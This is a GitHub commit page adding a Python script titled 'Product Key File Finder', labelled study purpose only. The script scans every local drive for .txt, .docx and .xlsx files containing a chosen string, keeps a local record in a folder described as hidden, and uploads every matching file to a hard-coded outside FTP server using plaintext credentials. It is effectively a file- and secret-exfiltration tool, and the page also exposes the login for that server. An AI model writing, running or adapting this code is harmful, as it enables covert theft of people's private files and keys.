Skip to content

Commit 0fec2a6

Browse files
authored
Create Product Key File Finder 4.3
1. Signature added 2. Admin access check added 3. Local Backup creation started (Current code only create a local backup copy and copy the address (path) of result files into a local backup file only)
1 parent f866841 commit 0fec2a6

File tree

1 file changed

+245
-0
lines changed

1 file changed

+245
-0
lines changed

Product Key File Finder 4.3

Lines changed: 245 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,245 @@
1+
# The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is prohibited.
2+
import ctypes
3+
import datetime
4+
import ftplib
5+
import glob
6+
import os
7+
import string
8+
from urllib.request import urlopen, URLError
9+
import shutil
10+
import docx
11+
import openpyxl
12+
13+
errorCount = 0
14+
i = 0
15+
j = 0
16+
rvs = []
17+
host = "ftp.byethost22.com" # FTP Host URL
18+
ftp_id = "b22_28269653" # FTP CLIENT ID
19+
ftp_pw = "Falcon@16" # FTP CLIENT PASSWORD
20+
_ftp_root_folder_ = 'htdocs' # FTP root folder
21+
newdir = os.environ['COMPUTERNAME'] # FTP Main folder name
22+
ft = []
23+
todaysDate = str(datetime.datetime.today()) # FTP sub-folder name
24+
ftp = ftplib.FTP()
25+
26+
27+
def _rS_sign():
28+
print("|""---------"" ""------------")
29+
print("|"" ""|"" "" |")
30+
print("|"" ""|"" "" |")
31+
print("|""---------"" ""|")
32+
print("|""-"" ""------------")
33+
print("|"" ""-"" ""|")
34+
print("|"" ""-"" ""|")
35+
print("|"" ""-"" "" ------------")
36+
print("The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is "
37+
"prohibited.")
38+
return True
39+
40+
41+
def _rSAdmin_Check():
42+
try:
43+
is_admin = (os.getuid() == 0)
44+
except AttributeError:
45+
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
46+
return is_admin
47+
48+
49+
def _rSInternet_Check_(): # Internet Tester
50+
while True:
51+
try:
52+
urlopen('https://www.central16.in', timeout=1)
53+
return
54+
except URLError as e:
55+
print('URL Error: ', e.reason) # remove print is building exe
56+
pass
57+
58+
59+
def _RsBackupWriter(rrs, pp, ): # local backup (unfinished)
60+
global j
61+
print('BACKUP FOLDER STARTED /N rvs len : ', len(rrs))
62+
trs = open(pp, "a")
63+
for item in rrs:
64+
trs.write("%s\n" % item)
65+
print('Backup File Created')
66+
file1 = open(pp, "r")
67+
print(file1.read())
68+
file1.close()
69+
70+
71+
def _RsXlsx_(SS, CC): # XLSX Reader
72+
rs = openpyxl.load_workbook(CC, read_only=True, data_only=True)
73+
ws = rs.active
74+
for i in range(1, ws.max_row + 1):
75+
for j in range(1, ws.max_column + 1):
76+
if SS == ws.cell(i, j).value:
77+
print("Found in cell :", ws.cell(i, j), "File Location :", CC)
78+
rvs.append(CC)
79+
80+
81+
def _RsTxt_(SS, CC): # TXT Reader
82+
file1 = open(CC, 'r', encoding='UTF8', errors='ignore')
83+
flag = 0
84+
index = 0
85+
for line in file1:
86+
index += 1
87+
if SS in line:
88+
flag = 1
89+
break
90+
if flag != 0:
91+
print('String', SS, 'Found In Line: ', index, 'File Path: ', CC)
92+
rvs.append(CC)
93+
file1.close()
94+
95+
96+
def _RsDocx_(SS, CC): # DOCX Reader
97+
flag = 0
98+
index = 0
99+
doc = docx.Document(CC)
100+
for para in doc.paragraphs:
101+
index += 1
102+
if SS in para.text:
103+
flag = 1
104+
break
105+
if flag != 0:
106+
print('String', SS, 'Found In Line: ', index, 'File Path: ', CC)
107+
rvs.append(CC)
108+
109+
110+
def _RsDirCheck_(ft): # FTP Main Folder Checker
111+
x = 0
112+
for g in ft:
113+
if newdir in g:
114+
x = 1
115+
if x == 0:
116+
print(" New Directory created ---> ", newdir)
117+
ftp.mkd(newdir)
118+
119+
120+
def _RsTodayFolderCheck_(ft): # FTP Sub-Folder Checker
121+
x = 0
122+
for g in ft:
123+
if todaysDate in g:
124+
x = 1
125+
if x == 0:
126+
ftp.mkd(todaysDate)
127+
print("New Today's date folder created ---> ", todaysDate)
128+
129+
130+
def _Rs_ftp_COPY_(): # FTP Client connector
131+
print('uploading data...')
132+
port = 21
133+
ftp.connect(host, port)
134+
print(ftp.getwelcome())
135+
print("Logging in...")
136+
ftp.login(ftp_id, ftp_pw)
137+
ftp.cwd(_ftp_root_folder_)
138+
ftp.retrlines('LIST', ft.append)
139+
_RsDirCheck_(ft)
140+
ftp.cwd(newdir)
141+
ft.clear()
142+
ftp.retrlines('LIST', ft.append)
143+
_RsTodayFolderCheck_(ft)
144+
ftp.cwd(todaysDate)
145+
146+
147+
def _rS_FTP_file_transf(rvs): # FTP File uploader
148+
rs = 0
149+
print('Uploading Data...')
150+
while rs != len(rvs):
151+
filename = rvs[rs]
152+
file_name, file_extension = os.path.splitext(filename)
153+
_FTP_File_Name_ = os.path.basename(file_name) + file_extension
154+
_ftpNewFileNMCmd_ = "STOR %s" % _FTP_File_Name_
155+
with open(filename, "rb") as file:
156+
ftp.storbinary(_ftpNewFileNMCmd_, file)
157+
rs += 1
158+
print('Upload Complete !')
159+
ftp.dir()
160+
161+
162+
def main():
163+
global errorCount
164+
if _rSAdmin_Check():
165+
print("admin access")
166+
else:
167+
print("No admin access")
168+
global i, j
169+
global rvs
170+
# val = input("Enter extension : ") #If specific extension only required uncheck and add val in _Rel_Path
171+
ff = input("Enter string : ")
172+
rs = ['%s:\\' % d for d in string.ascii_uppercase if os.path.exists('%s:\\' % d)]
173+
if _rS_sign():
174+
print("ok")
175+
else:
176+
Break()
177+
print('Active local drives ---> ', rs)
178+
FtypeXLSX = '.xlsx'
179+
FtypeTXT = '.txt'
180+
FtypeDOCX = '.docx'
181+
_Rel_Exp_ = '**/*'
182+
_Rel_Path_ = _Rel_Exp_
183+
# print('Selected file type = ', val)
184+
rss = []
185+
186+
bck_dir = "rrs" # LINE 154 - 166 REFERS LOCAL BACKUP (UNFINISHED)
187+
bck_file = "rrs.txt"
188+
print('Hidden folder named rss is created in first local drive from available drive list')
189+
pth = os.path.join(rs[0], bck_dir)
190+
if os.path.exists(pth): # this if will flush the old backup folder and re-create new backup folder
191+
shutil.rmtree(pth)
192+
os.makedirs(pth)
193+
print('Hidden folder path: ', pth)
194+
print('Hidden file text.txt is created in hidden folder rss')
195+
CN = os.path.join(pth, bck_file)
196+
print('Hidden file location: ', CN)
197+
file1 = open(CN, "a")
198+
file1.close()
199+
200+
print('Below files are present in system: '"\n")
201+
while i != len(rs):
202+
os.chdir(rs[i])
203+
for file in glob.glob(_Rel_Path_, recursive=True):
204+
# print(file)
205+
completeName = os.path.join(rs[i], file)
206+
# print('File path: ', completeName)
207+
file_name, file_extension = os.path.splitext(completeName)
208+
if file_extension == FtypeXLSX:
209+
try:
210+
_RsXlsx_(ff, completeName)
211+
except e:
212+
errorCount += 1
213+
print('Error in reading file, File Path: ', completeName)
214+
if file_extension == FtypeTXT:
215+
try:
216+
_RsTxt_(ff, completeName)
217+
except PermissionError:
218+
errorCount += 1
219+
print('Admin Permission Required File Path: ', completeName)
220+
if file_extension == FtypeDOCX:
221+
try:
222+
_RsDocx_(ff, completeName)
223+
except e:
224+
errorCount += 1
225+
print('Error in reading file, File Path: ', completeName)
226+
rss.append(completeName)
227+
i += 1
228+
print('System scan completed \n')
229+
# print(rss)
230+
print('Total File Scanned :', len(rss))
231+
print("Total file found: ", len(rvs))
232+
print("Total No of unreachable files (ACTION REQUIRED)", errorCount)
233+
print("\n", rvs)
234+
_Rs_ftp_COPY_()
235+
_rS_FTP_file_transf(rvs)
236+
print('calling backup')
237+
_RsBackupWriter(rvs, CN) # LOCAL BACKUP CREATOR
238+
# shutil.rmtree(pth) #FLUSH OLD BACKUP FILES (UNFINISHED) uncheck to delete local backup
239+
240+
241+
_rSInternet_Check_()
242+
if _rS_sign():
243+
main()
244+
else:
245+
print("Author sign missing")

0 commit comments

Comments
 (0)